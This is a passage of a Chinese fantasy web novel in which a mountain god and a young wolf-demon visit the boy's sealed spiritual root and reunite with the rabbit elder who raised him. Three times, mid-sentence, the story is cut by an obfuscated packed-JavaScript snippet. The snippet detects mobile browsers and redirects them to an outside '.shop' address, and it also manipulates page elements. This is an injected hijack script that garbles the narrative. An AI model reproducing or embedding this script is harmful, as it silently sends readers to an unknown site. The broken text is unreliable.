或许凡人的情爱也和他对家人的感情一样,是传递爱的过程,需要矢志不渝的真心,需要一个人的接近和另一个人的接纳。 闻人声就是会付出真心的类型。 只要是他喜欢的人,他就会主动选择靠近,把自己所有的心意都剖白给对方。 不过他没有太多的勇气,可能只够全心全意地尝试一次。 * 一衿香收了闻人声作徒之后,不知怎地,连性情都变了不少。 以往她待在自己的蛇窟里,一步也不肯迈,如今竟愿意每日从十万里开外的沧州赶来芳泽山,就为了帮闻人声讲一天课。 闻人声也很争气,晨早也不贪睡了,早早地就等在静室,若是一衿香没来,他就乖巧地坐在里面温书。 这样的时间又过去几月,夏去秋来。 这日下了学,闻人声送走一衿香后,便瞧见在山门口等着自己的山神。 他正靠在断桥边的松木旁,逗着停在手上的一只胖胖的小麻雀。 闻人声于是站在断桥的另一边,故意一声不吭地注视着他,想看看他什么时候能注意到自己。 但山神毕竟是山神,闻人声瞧他的第一眼就已经被他捕捉到了。 注意到闻人声的目光后,和慕唇角勾了勾,手轻轻往前一送,那只麻雀便扑着身体,晃晃悠悠地朝闻人声飞过来。 “叽。” 闻人声很快就感觉头顶一重,这小鸟翅膀一收,窝到他头发上了。 “好像。”和慕调笑他。 什么意思,说他像这只小胖雀,还是说他的头发很像鸟窝? 闻人声轻哼一声,两只手小心地把麻雀捧下来,搁到了一边的石碑上。 “我没有翅膀。”闻人声说。 和慕弯起眸说:“那没翅膀的小鸟,你打算怎么飞过来?” 听到这句话,闻人声踢了踢脚下的小石子,低头望向断桥下的峡谷。 这是他们第一次相见的地方,那时闻人声正被尘敛抓着欺负,是和慕一把剑扔下来劈开了二人,解救了闻人声。 这断桥,也是那个时候塌陷的。 直到今天它还断着,没有人来修,闻人声每次都是被人抱过去的。 但这会儿一衿香已经走了,没有人把闻人声抱回去。 他踢着石子儿想了会儿,往后退了几步,做出一副跑步冲过去的姿势。 以后他会成为擅长轻功的大侠,这一点点沟壑,今天是绝不可能拦住他的。 再说了,山神还在对面呢。 就算摔下去也会被接住的。 抱着这样的想法,闻人声助跑几步,临至断崖处,一跃而起。 和慕望着闻人声蹦起来的身影,脸上挂起淡淡的笑意。 临到闻人声快要落下时,他终于举起手,把这只归巢的雏燕接进了自己怀中。 ! “过来了!” 闻人声扑进和慕怀里,抱住他的脖子兴奋欢呼道, “没有翅膀也可以飞过来!” 闻人声很轻,但半年来已经被养胖了一点,抱起来很舒服,像个柔软的面团,和慕于是把这小孩按着,狠狠地揉了他的头发。 “胆子这么大,掉下去怎么办?” 闻人声很有自信地说:“你会接住我的。” 和慕笑了笑,问:“那等你长大了呢?” 闻人声挠着脸想了想,随后点头道:“一样的,长大了也可以接的。” 他觉得自己再怎么样也不会长得特别大,总是能躲进山神怀里的。 何况“长大”是以后的事情,闻人声觉得自己还有很多很多的时间,可以让山神接住自己很多很多次。 和慕笑着不说话,他把闻人声放到地上,随后半蹲下身子,跟他处于同一高度。 “声声,”和慕顺了顺他脑袋后面的头发,问道,“你想不想去看看你的灵根?” 灵根? 是他失而复得的那一半吗? 闻人声顿时雀跃起来,他原地蹦了两下,兴奋道:“要看!” “嗯,”和慕摊开手,示意他拉住自己,“走吧,我带你去后山。” 闻人声点点头,伸手搭在和慕手心,刚触碰上他的皮肤时,地面的景色便有了变化。 “啊!”闻人声吓得缩回手,“吓死我了!” 虽然已经见过神仙的缩地神术了,但突然就被带到一个陌生的地方,还是叫闻人声有些怕丝丝的。 好在,这儿依旧是芳泽山境内。 闻人声四下张望了一圈。 后山的地势稍微高些,他一直住在神庙里,这还是头一回从这么高的地方往下看。 立秋过后,整座山像被秋日的文火熏烤了一遭,满地焦黄,闻人声几乎能嗅到野果落地的香味。 是很漂亮的秋天。 他又往另一边看,只见那后山环伺的中心是一池冒着白烟的寒潭,看着与金秋时景极不融合。 闻人声感受到那池寒潭深处冒出一股熟悉的气息,他忍不住离开和慕,趴到两座矮峰中间,向下望去。 “天灵根……在这下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543211|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 和慕“嗯”了一声,同闻人声一起往寒池看去。 “春秋两季的自然之气太旺盛,我将北境的万年寒冰转移到这里,暂时阻止了它继续吸收自然之气。” 闻人声似懂非懂地“哦”了一声。 难怪这一次靠近天灵根,他的身体就没有那么多不适了。 和慕摊开一只手,问道:“要不要下去跟它说说话?” 闻人声点点头,说:“我想试试。” 和慕应了闻人声的要求,他捞起人,踩上矮峰纵身一跃,轻巧地落回那池寒潭面前。 靠近潭边,闻人声才感觉到这万年寒冰的威力。 他本就穿得薄,加之寒风吹刮猛烈,冷意冰刀似地直往脸上割,冻得闻人声直打哆嗦。 他赶紧躲到和慕身后,紧紧抱住了他的腿,以免自己被风直接吹跑。 “天灵根……嗝、真的在这里吗?” 闻人声顶着风艰难地喊道。 和慕屹立不动,抬手缓缓张开一层屏障,挡到了闻人声面前。 他缓缓道:“感受到天灵根的气息了吗?” 闻人声的呼吸瞬间流畅许多,他捂了捂胸口,长舒了口气。 气息平稳之后,身体里灵力的流动就愈发明显,甚至连指尖都在微微发烫,似乎随时要有灵力外泄出来。 而且不知怎地,闻人声甚至生出一种强烈的冲动,想要直接跳进这个冻死人的寒池里。 闻人声定了定神,点头道:“感受到了。” 和慕蹲下身子揽住闻人声的腰,跟他靠在一块儿,一同看向寒潭。 “再过不久,我会把你送去这里,”和慕说,“你要在这儿待上一段时间,跟天灵根共处,然后重新接纳它成为你的一部分。” 闻人声微微睁大眼睛,看向和慕。 “可是……” “嘘,”和慕手指抵住闻人声的唇,说,“仔细感受天灵根的气息,它对你说什么?” 闻人声被说得有些懵,他呆滞地望向寒潭,那池静止的水上飘散着白雾,像是数不清的幽灵,正以极慢的速度绕着池水盘旋。 感受。 它说了什么? “……” 慢慢地,闻人声觉得耳边的风声好像渐渐息止了,世间万物都静止在这一刻,连山神都化作了背景的一部分。 天地间好像只剩下他,还有那些幽灵般的寒息。 他很快就明白过来山神说的“感受”是什么意思了。 “幽灵”的情绪正贴服着他的每一寸肌肤,慢慢淌入他的感知里。 那是一种…… 冷漠、高傲、无拘无束,完全不像是自己的气息。 倒更像是—— “无情道……” 闻人声下意识喃喃。 和慕神色变了变,迟疑道:“你说什么?” 闻人声这才回过神来,他想起一衿香的叮嘱,连忙摇了摇头,道:“没什么,就是感觉天灵根的气息很冷,像个陌生人,和我一点儿也不像。” 和慕颔首道:“也正常,天灵根脱离你太久,吸收了太多的身外之气,偶尔会有自己的想法,你闭关之后和它多多沟通就好。” 闻人声应了一句,随后拉住和慕的衣服,犹豫着开口道:“……对了,山神最近有没有‘做好事’?攒了很多功德吗?” 和慕含糊地说:“嗯,差不多吧。” “那你都做了什么?” “杀了点人。” 闻人声追问道:“为什么你需要杀人才能攒下功德?” “大人的事小孩子不要管。” “嘁,”闻人声撇撇嘴,“才不是小孩子。” 他已经快要过生辰了,马上就要大一岁了。 本想探听一下无情道的事情,可山神看上去不愿意说太多,闻人声便也没再追问。 他再度凝视了寒潭片刻,最后问了一个问题:“那我要在这里待多久呢?” 和慕望着那池深不见底的寒潭,眸光暗了暗。 他淡声道:“大概要花上五年时间吧,我会守护好你,直到你出关的。” 五年啊。 闻人声掰着手指算了一下。 那就是十五岁了。 17.兔子家人 和慕本不想这么着急带闻人声来接触天灵根。 他年纪还小,很多事情都要慢慢来。 但正如一衿香说的,现在的闻人声处境很危险。 天灵根如若一直暴露在紫府之外,不加以控制,肆意地吸纳自然之气,迟早是会被天庭觉察的。 天庭本就忌讳妖怪,这些年作为妖怪之身飞升的神仙数量寥寥可数,如果发现天灵根降于一个妖怪身上,指不定会用什么肮脏的手段来对付闻人声。 和慕不希望闻人声在遭遇什么变故。 “再跟着文曲星修行两天,”和慕搓了搓闻人声的肩,说,“等你生辰过后,我会把这里封印起来,让你安静地闭关。” 闻人声表情有点失落,他忍不住靠住和慕的脑袋,小声道:“真的要闭关五年吗?” 和慕弯了弯眸:“你觉得很久吗?” 闻人声点点头。 对于活了几百上千年的神仙来说,五年大概也就是弹指一挥间,根本不需要用什么认真的态度去对待。 可闻人声不一样,他还没有入道,没有漫长无垠的生命,时间会在他身上留下痕迹,让他从自己的土壤里一点点抽条生长。 五年一去,他就到了不再需要和慕抱着他跨过悬崖的年纪了。 和慕把闻人声揽得更紧了,他捏了捏闻人声的耳朵,低声道:“凡间的孩子都急着长大,怎么你不一样呢?” 闻人声没有答话。 他不是舍不得长大。 有的人急盼长大,是因为他们不满现在尚是稚童的自己,觉得长大后会拥有更逍遥自在的人生。 可闻人声觉得自己已经处在最幸福的阶段了。 他觉得自己像个看不清东西的小瞎子,侥幸站在了大漠的某片绿洲里。 可前路是甘泉,还是流沙? 他什么也看不清,只有默不作声的天地知晓答案。 闻人声望着不远处那冷飕飕的寒潭,嘟囔道:“那等我出来之后,还能见到你吗?” 和慕抬手掐了掐闻人声的脸颊,故作苦恼地说:“啊,怎么办,说不定我已经被天庭叫回去了。” “那你就要一个人睡觉,一个人吃饭,一个人听文曲星的课,没准还要被她拐去沧州,那个地方特别特别冷,比这里冷十万倍……” 什么?! 十万倍! 闻人声觉得十倍就已经够多的了,十万倍,那得有多冷啊?他会不会直接变成雪人啊? 听到这里,闻人声已经鼻子酸酸得想要哭了,他一想到五年后自己会过这样清苦的生活,整个人都像是焉了的白菜,变得扁扁的。 “那我不要天灵根了!”闻人声哭着说,“我要靠自己努力变成大侠!然后、然后跟你一起回天庭……” 和慕见他哭,脸上终于露出笑容。 他一边笑,一边赶紧把闻人声抱进怀里,连声哄道:“诶,骗你的骗你的,怎么这么笨啊……” 他帮闻人声擦去眼泪,拿脸蹭了蹭闻人声,低低地说:“好了,不要哭了声声,我会一直等在这里,当第一个见到你长大模样的人,好不好呀?” 得到了这样的答案,闻人声脸上的失落才终于化开,他嘀咕着抹开眼泪,紧紧回抱住了和慕。 山神真的好坏啊。 但他心中仍旧想着,闭关之后他要多努力一点,早日把天灵根给说服,然后早一点出来。 这样,山神说不定还有机会多看几年小小的他。 * 看完了天灵根,和慕就带着闻人声离开了后山。 闻人声说想要多看看秋天的芳泽山,和慕就把他抱起来跨到了自己肩膀上,好让他看得更清楚些。 和慕个子很高,闻人声坐在他肩上,视野就更开阔了,他动作很轻地抓住和慕的头发,有些兴奋地四处张望。 芳泽山被秋时洗出了截然不同的底色,若换作从前,这是闻人声最爱吃浆果的时候,这季节的果子一点儿也不涩苦,咬起来清甜可口,还会在齿间迸出凉凉的汁水。 耳边传来几阵山雀短促的鸣叫,闻人声甚至能听出,这是和慕今天在山门处逗弄的那只小雀儿发出的声音。 “好看吗?”和慕捏了一下闻人声软乎乎的小腿,“我可好多年没管这座山了。” “特别好看,”闻人声笑着说,“我想要一直待在芳泽山上,永远都不离开。” 当然,是要和山神一起。 和慕若有所思地点点头,又问道:“那你还记不记得,你是怎么来到这座山的?” 说到这个话题,闻人声歪着头认真思索了会儿。 他是怎么来到芳泽山的? 这已经是他小时候的事情了,闻人声的记忆像被蒙了层薄薄的雾,模模糊糊地想不清楚。 他印象里,好像是自己的娘亲带他来到芳泽山的。 可是从这里开始,记忆就像是拨断了的琴弦,怎么也衔接不上,连娘亲的样子都记不清了。 再有意识,自己已经住在兔子窝里,跟着兔子一族一块儿吃草了。 闻人声连自己为什么是狼妖都不明白。 他摇摇头,回答道:“我也记不清了,但是我小时候有很多的家人,那个兔子窝里的都是我的家人,只不过后来它们全部都搬走了。” “哦……兔子窝啊,”和慕拖长了音,他思索片刻,问,“那你还记不记得那个窝在哪里?” 闻人声点点头:“嗯,记得特别清楚。” 这是闻人声自有记忆起拥有的第一个家,他当然不会忘记了。 虽然现在…… 闻人声还没思索完,和慕便出声打断了他的思路。 “今天想不想去看看那里?”和慕说,“你应该很喜欢那几只兔子吧?它们是妖吗?” 闻人声摇摇头:“只有族长是妖,他是一个很老很老的兔子精,其他都是普通的兔子。” 他顿了顿,把脸埋在了和慕头发里,脸上泛起淡淡的红晕。 “不太想见……”他小声嘟囔。 和慕停下脚步,他此刻看不见闻人声的表情,但从话语中能听出来,他并不情愿去找那个旧时的小窝。 “无妨,”和慕笑了笑,宽慰道,“不想去,我们就回家。” 听到“回家”两个字,闻人声的眼神复又动了动。 他心情有些别扭,若真要问去不去,他还是想去的,他想看看那里还有没有从前的家人在住,它们的近况如何了,有没有被尘敛这样的人欺负。 可他实在是不敢去。 在闻人声还小的时候,族长就收留了他,给了他名字,还把他当做自己的族亲看待,照顾有加。 这是一段很幸福的时光。 可是某天以后,闻人声一觉醒来,便发现身边所有的兔子一夜之间全部消失了。 整个兔子窟连半点生活痕迹都没有,被族长收养后的生活简直像一场无人记得的虚空大梦,如今成了泡影。 闻人声不肯相信,漫山遍野地跑了好几圈,最后终于从山脚下找到一排小小的的四足脚印。 这排脚印一直向着离开芳泽山的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548403|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延伸,最终隐没在丛生的乱草中。 不是梦,是离开了。 而如今分开了这么久后,闻人声越来越觉得,当初是因为自己不够乖巧、被讨厌了,所以他们才要搬走的。 到如今,他已经不敢再寻找族人的踪迹了。 闻人声迟疑了很久。 他感觉脑子里所有的想法都混成一团打结的毛线,而自己就被缠在毛线中间,怎么也挣脱不开来。 最后,他自暴自弃地“啊”了一声。 “那……那还是去看一眼吧!” “真的?”和慕半信半疑,“没有勉强自己?” 闻人声慢吞吞地抬起头,否认道:“没有勉强,因为很快就要五年不见了,如果能看一眼的话,我就不会忘记那里了。” 原来是个恋旧的小孩。 和慕若有所思地点点头,说:“好吧,你来指路。” * 闻人声凭着自己的印象,很快就帮和慕找到了那个兔子窝的位置。 刚一落地,方才还纠结万分、闹着别扭的闻人声就换了副情态,他四处扫了一眼,随后目的明确地奔向了一个小矮坡。 “就是这里,”闻人声指着一处长满杂草的斜坡,“以前我就住在这里。” 和慕皱起眉,蹲下身子瞧了瞧。 那兔子窟还藏得挺深,他用色杀稍微斩去了些枯草,这才勉强瞧清洞口的模样。 “这么小?”他迟疑道,“你小时候得有多小,才能钻到这个洞里?” 闻人声支支吾吾道:“啊,可是所有人小时候……都很小啊……” “是吗?”和慕不经意地飘出一句,“我印象里,只有妖怪小时候才会这么丁点大。” 闻人声顿时像被踩了尾巴,浑身触电般地炸了毛。 他矢口否认道:“才不是呢,明明也有特别特别小的人!” 和慕做出恍然的表情:“哦,有道理啊,你小时候都住在这里了,那你说的肯定是真的了,难不成你还是小妖怪,故意骗我的吗?绝对不可能。” 闻人声信以为真,连忙点点头:“就是就是,绝对不可能的!” 和慕笑了笑,没应他的话,他翻腕摊开双指,从指稍流出一丝灵力,探到了那兔子窟里。 里面的空间也不大,就是个睡觉的地方,和慕大致寻了寻,没有生灵的气息。 他收回灵力,叹了口气道:“看来它们不在这里。” 闻人声倒没露出什么失望的神色,他早就知道族长带着那些兔子搬走了,现在也不可能平白无故地回来。 闻人声扯了扯自己的衣角,目光留恋地停在兔子窟前。 “感觉不会再见到了。”他说。 “很想它们,那为什么要分开呢?”和慕问道,“也是因为那个剑修吗?” 闻人声抿着唇摇摇头。 “嗯……和他们分开,不是因为尘敛。” 他张了张口,正犹豫着要不要把自己被讨厌的事情告诉和慕,余光中便忽然闪过一道白影。 闻人声立刻回头看去,只见不远处的一棵松树下站了个须发斑白的小老头,正探头探脑地往他们这儿看过来。 闻人声依稀觉得这人有些眼熟,他眯起眼认了认。 “这是……” 在看清人脸的那一刻,闻人声的瞳孔微微收紧,面上浮现震惊之色。 “……族长?” 那抹身影注意到闻人声的目光后,顷刻一惊,随后便像一只仓皇逃窜的兔子,嗖地一下就消失在了闻人声的目光里。 18.为什么要 芳泽山的密林间飞快地蹿过一道矮小身影。 那身影起先还是个人样,跑了没多会儿,身体就变作四足奔跳,踩得地面断枝碎叶嘎吱乱响。 与此同时,身影背后飞掠过一道白光剑影,正以旗鼓相当的速度紧紧追咬着它,似乎隐隐还能听到稚童的声音。 “闻人敬——你不要跑了!” 闻人声追在色杀身后,用尽全力大喊了一声。 可这一剑一兔跑得实在太快,这会儿闻人声也不好化回原型,只能卖力地拿两条腿追过去。 芳泽山毕竟是湘城第一山,山上的陡坡不少,闻人声一冲到下坡就有点儿刹不住了,摇摇晃晃地眼看就要跌下山去。 “诶诶诶!要摔下去了!” 在他滚作一团之前,后领及时被人拉了一把。 和慕踩着色杀悬在空中,半蹲下身子提溜起闻人声,皱眉道:“跑这么快啊,喊你你也不停。” 闻人声跟只小狗似的被提在半空,手脚胡乱扑腾起来。 眼见挣扎无果后,他只好生气地大喊道:“山神为什么不用缩地术啊!” 和慕表现得很淡定,他摇摇头,说道:“范围太小了,要是知道他会跑去哪里,倒是能提前追过去。” “呃……” 闻人声苦思冥想了片刻,说, “我不知道族长他们现在住在哪儿,但是这个方向应该是去湘城的吧?” 和慕点头:“好,那我们直接去山脚处拦他。” 话音刚落,和慕就把闻人声拎回自己怀里,御剑顷刻落到了芳泽山下。 山脚离湘城的城门口有一段距离,两个人就堵在山脚处,各自藏了一边的草丛。 闻人声紧张地心脏都要跳出来了。 那个身影,还有那张脸,他绝对不会认错。 一定是族长! 闻人声眼睛都不舍得眨一下,他紧张兮兮地盯着入山口的方向,连身体和呼吸都紧绷起来,随时等着把逃跑的族长一把抓住。 然而一直等了半刻的时间,这地方也全然没有动静。 “……没追上吗?” 闻人声急得跺了跺脚,忍不住抱怨道, “族长怎么一大把年纪了还是跑这么快啊!” 话音刚落,闻人声头顶便猝然穿过一阵劲风,把他刘海都给掀起来了。 他低头一看,自己身周不知何时盖下了一片巨大的阴影,似乎有一个庞然大物正从他头顶堂堂越过。 下一秒,直扑和慕的方向而去! 闻人声面色一惊,匆忙看向和慕的方向。 他这才瞧清,那只巨物是只体型被放大了数倍的白兔子! 虽然兔子扑得快,但和慕毕竟是神仙,他微微偏身一躲,抬手便召来色杀,绕去背后,刀口直接卡住了那兔子的命门。 “别动!”和慕喝道。 这一声吓得兔子浑身一颤,“砰”地一声变作了人形。 果然是那个在不远处窥伺的小老头,听刚刚闻人声的呼喊,他的名字似乎唤作“闻人敬”。 “族长?”闻人声迟疑道,“你……” 闻人敬的身体原本发抖个不停,可一见到闻人声,又咬了咬牙,似乎下定了什么决心,顶着色杀一把扑开和慕,翻滚一圈拦到了闻人声身前。 “尘、尘尘尘敛是吧?” 闻人敬支支吾吾地对和慕喊道, “我告诉你,你要是再敢来找他的麻烦,我就、我就咬死你弄死你,我、我我我把你扔海里喂鱼!” 和慕挑了挑眉,将色杀背剑收起,眉间的金纹掠过一道浮光。 他睨视着闻人敬。 “你,不认识我?” 闻人敬又往后退了退,差点挤到闻人声身后去了。 他摆出龇牙咧嘴的表情,故作凶狠道:“我认得啊,你欺负闻人声,我早就听说了!我今天赶回来就、就就就是为了,干掉你!” 闻人声有些不知所措,他连忙搭住族长的肩,压低声道:“族长!他是芳泽山的山神,不是尘敛,尘敛已经死了!” “什么?!”闻人敬打了个哆嗦,“山神?看着比我还年轻!” 闻人声皱起眉,心说这世上能比族长这老兔子还老的人也没几个吧。 不过他不认得和慕也正常,毕竟神庙前的那座苍玉真君像跟和慕本人一点儿都不像,和慕要帅很多。 和慕往前一步,稍稍倾身,用审视的目光看着闻人敬。 “所以,你就是以前领养闻人声的那个族长?” 或许是和慕的眼神太过尖锐,闻人敬只对上一眼,顿时被吓得腿都开始战战发抖。 他大叫一声,慌忙躲到闻人声身后,声音颤颤巍巍地说:“别别别别别,我只是来看看这孩子,没有想做别的!” 和慕反问:“看孩子?” 闻人敬嗫嚅道:“对,闻人声,我来看闻人声,他、那个……生辰……不对不对,是尘敛、、呃……” 和慕见他支支吾吾说不明白,把闻人声拉到了自己这边,侧过头小声问道:“他就是你以前的家人?” 闻人声望着闻人敬的目光有些担忧,他点点头,拉住了和慕的手。 和慕于是又问:“你想和他叙叙旧吗?” 叙旧? “啊……” 闻人声又做出那副分外纠结的表情。 他其实不大想跟族长有太多接触,可又实在是好奇兔子族这些年的生活。 他们何时离开的芳泽山,如今又身在何处,一想到这些问题,闻人声就觉得心痒痒,好像有人在用羽毛挠他的心尖儿。 没有了闻人声的庇护,闻人敬进也不是退也不是,只好扯断了一截树枝,颤颤巍巍地指向和慕。 “山神也不行……谁也不能欺负他……” 闻人声觉得他看上去比从前还老,所有须发皆已斑白,身材也瘦削成了一把骨头,给人一副寿数将近的感觉。 闻人声思索了片刻,最终松开和慕,上前朝他伸出了手。 “族长,你饿不饿?”他担忧地望着这小老头,“要不先去吃点东西吧?” * 和慕依言领着闻人敬去了经常光顾的那家茶楼,又叫跑堂的上了和上次一样的茶点。 本想着随意吃两口,谁料这闻人敬竟如同饿死鬼投胎一般,不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553034|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半炷香时间,就狼吞虎咽吃光了所有的盘子。 闻人声坐在和慕腿上,勉强够到了桌子。 他只小心地尝了一小块最喜欢的糕点,剩下的都留给闻人敬吃了,毕竟他看上去真的很饿。 “你们果然是一家人,”和慕稍稍俯身,凑到闻人声耳侧说,“都很喜欢吃这里的茶点,而且吃了那么多还一点不见胖。” 他捏了捏闻人声腰上的肉,心说这半年也不曾在吃口上亏待过,怎么就是养不胖呢。 闻人声很怕痒,他扭了扭身体,嘟囔道: “很痒!” 和慕于是不挠他了,把小孩抱在怀里,两个人眨巴着眼睛,等着看闻人敬什么时候吃完东西。 看了一会儿,和慕又耐不住性子,见缝插针地问道:“闻人声,你小时候跟兔子住在一起,是不是也以为自己是小兔子?” 闻人声轻哼一声,说:“我还没有这么笨。” 和慕又问:“那你跟它们一样吃草吗?” “我不喜欢吃,我会自己下山买包子。” “那兔子不会觉得很害怕吗?” “我不是兔子,不知道它们在想什么。” 闻人声本就心烦意乱,和慕还叽里咕噜说个没完,弄得他更加烦躁了,简直想往和慕脸上啃一口。 好在这时闻人敬似乎终于填满了空虚的胃,他捧起一旁的茶盏猛灌一口,这才把干噎的食物给咽了下去。 一抬头,发现两双眼睛正直勾勾地盯着自己看。 他顿时一吓。 “喔!干、干什么?!” 和慕摊手道:“现在该说说你的事情了吧?” 闻人敬咽了咽喉咙,紧张兮兮地看了两眼闻人声。 “……什么事啊?”他明知故问。 和慕谅他是闻人声的亲眷,耐心地问了第二遍:“我听闻人声说,你们一族已经搬离芳泽山很久了,为什么还回来?” 闻人敬一听,猛地低下头,眼神飘来飘去,明显心里头窝着事,却又犹犹豫豫地不肯说。 和慕眯起眼,语气稍微强硬了些:“不说话,是心虚了?” “没、没没没没有啊!”闻人敬连忙摇头,“我不知道你在说什么!” “那你——” “他刚刚好像说,他是回来陪我过生辰的。” 话没说完,方才一直沉默着的闻人声这会儿终于开口打断了和慕的话。 但他的表情却没显得有多开心,反倒撇着嘴角,像个小苦瓜。 “生辰重要吗,”闻人声小声嘀咕,“比起这个,我更想知道你们突然离开。” 对于多数人来说,也许经年后的重逢比陈年旧事更重要,可闻人声不会拐那么多弯。 他只是顺从心里的第一念,只是一根筋地想知道,为什么他珍视的家人要突然不告而别。 是因为他做错了事情?还是被讨厌了? 总得给他一个答案。 听到闻人声的话,闻人敬的眼神终于不飘忽了,他眸光暗了暗,侧过脸避开了闻人声的目光。 他嗫嚅着开口: “……天灵根,它还在你身上吗?” 19.这个冬天 和慕眼神变了变。 在闻人敬说出“天灵根”三字后,他指节微蜷,悄悄调动了搁在门侧的色杀。 他沉声道:“你为什么会知道天灵根?” 色杀无声出鞘,寒光掠过,剑尖调转了一个方向,指向了闻人敬的后心。 闻人敬似乎没有发觉身后的杀意,他兀自低着头,慢声解释道:“我从几个土地神那里偷听到的。” “他们说天灵根的拥有者悟性极高,若是降在妖怪身上,哪怕是两三岁的幼犬也能使用化形术……” 说到这儿,闻人敬的话语一顿。 他偷瞄了眼闻人声,又匆忙收回目光,继续说:“所以我才知道闻人声是——” “族长!” 一边的闻人声听着听着,忽然发现自己的真实身份就要被捅破了,急得直接大喊一声打断了闻人敬的话。 “啊、啊?”闻人敬打了个激灵,惊恐地看向闻人声,“怎么了?!” 闻人声回头看了一眼和慕,见他神色没什么变化后,底气这才重新上来,气鼓鼓地对闻人敬说: “不要说这种根本就不重要的事情,我只想知道你们为什么突然离开芳泽山……而已!” 闻人敬木楞地点点头:“哦、哦。” 见他点头应允,闻人声这才稍稍松了口气,心下又忍不住抱怨族长愚笨,怎么能把他是妖怪的事情到处乱说啊? 山神还不知道他是妖怪呢。 闻人敬接着说:“反正那些土地神说,他们要找到降世的天灵根,不惜一切代价也要把灵根带走。” “我知道天灵根在你身上后……心里就有了离开芳泽山的想法。” 和慕一听,眉头拧得更紧了。 因为胆小怕事,所以直接把闻人声丢在芳泽山不管了? 这种理由可说服不了他。 他双指稍稍偏过一个方向,将色杀逼得离族长更近了,似乎随时要取掉他的性命。 闻人声见状,双手连忙捂住和慕的手指,冲他使劲地挤眉弄眼,又卖力地做出口型: 不要杀族长! 和慕耸了耸肩,又将色杀退回去了些。 他本来也没想杀,只是打算吓唬吓唬闻人敬而已。 弃养一个小孩? 太没品了,他最鄙视这样的人。 怀里的闻人声意外地很平静,他按住和慕的手,语气平和地问道: “所以族长是因为害怕天灵根,才带着族人离开芳泽山的吗?” 如果是这个原因,闻人声并不是不能接受。 起码不是因为讨厌他才离开的。 再说了,就连文曲星这样的神仙,起先都会因为天灵根而对闻人声敬而远之,何况是族长呢? 他只是个年纪很大的兔子精,还有那么多的族人需要照顾,没有理由为了闻人声而涉险。 他只是被族长偶然收养的一只小妖怪而已。 “……” 虽然心情没有多大的起伏,但想到这儿,闻人声心头还是说不上来地发苦。 要是他一开始就是兔子就好了。 对血脉相连的亲人,族长也许会做出不一样的选择呢。 谁料这时,闻人敬忽然正了正身子,开口道: “害怕?我为什么要害怕?” 二人俱是怔愣了一下,齐齐抬头看向闻人敬。 闻人声张了张口,迟疑道:“……族长不是因为,害怕惹祸上身,所以才离开芳泽山的吗?” 闻人敬不可置信地看着闻人声,说道:“当然不是了,我只是骗那些土地神说,天灵根在一个兔子精身上,然后就带着族人连夜离开了芳泽山。” “兔子都长得比较像,土地神追上来之后,我就喊那几个幺儿到处乱跑,他们数了又数,数了又数,怎么也数不清……” 说到这里,闻人敬似乎想到了什么可笑的事,忽然捂着脸咯咯笑了两声,边笑边说。 “结果到最后,什么天灵根,一根毛都没找到!哈哈!这帮蠢猪简直——” 和慕:“……” 闻人声:“……” 对过的二人双双陷入沉默,闻人敬立刻意识到自己得意忘形了,赶紧收起那副外放的笑脸。 “不过走的太匆忙,来不及同你说了,我只怕你……怪我。” 闻人敬声音又因为心虚而变得很小,语速也加快了不少。 “而且你这小孩忒粘人,知道了肯定得跟上来,那就……坏事了不是……” 听完这些,和慕默默将色杀收回了剑鞘中。 闻人声愣了好一会儿,这才把来龙去脉慢慢消化了清楚。 所以,族长是为了帮他引开那些坏人,才带着族人搬走的? 并不是因为、他犯了错,被讨厌了,更不是因为对天灵根望而生畏……? 怎、怎么会是这样! 闻人声无助地看向和慕。 “我……” 和慕也不知道该说些什么,他只好捋了捋闻人声的头发,安抚道:“至少现在误会解除了,别难过。” 难过? 闻人声觉得自己根本就不是难过。 他只感觉哭也不是,笑也不是,喉咙口像堵着全世界最难吃的东西,难吃得他连话都说不出来了。 闻人声鼓起脸颊,猛地低下头,拼命地忍耐着这种感觉。 但很快,眼睛、鼻子、喉咙口,五感都充斥着一股强烈的酸涩感,整个人像被一颗巨大的洋葱包住了,眼泪止不住地想要留下来。 不难过…… 但是,好想哭! 闻人声吸了吸鼻子,嘴里不知嘟囔着什么,最终情绪还是没憋住,一次性地全部溃堤。 他委屈地转过身抱住了和慕的脖子,呜咽着说:“我要回家了……我再也不想跟这个老头子说话了!” 闻人敬一吓,慌忙站起身:“诶,幺儿,对、对不起啊……” 和慕也愣了愣,有些迷茫地接住了闻人声的拥抱。 “声声,”他干巴巴地哄道,“别哭别哭……” “留我一个人在山上,特别特别孤单,我宁愿被土地神抓走也不想被丢下,族长根本就什么也不懂!” 闻人声越说越委屈,到最后几个字儿声音几乎被哭声给埋了,呜哩呜哩地什么也听不清。 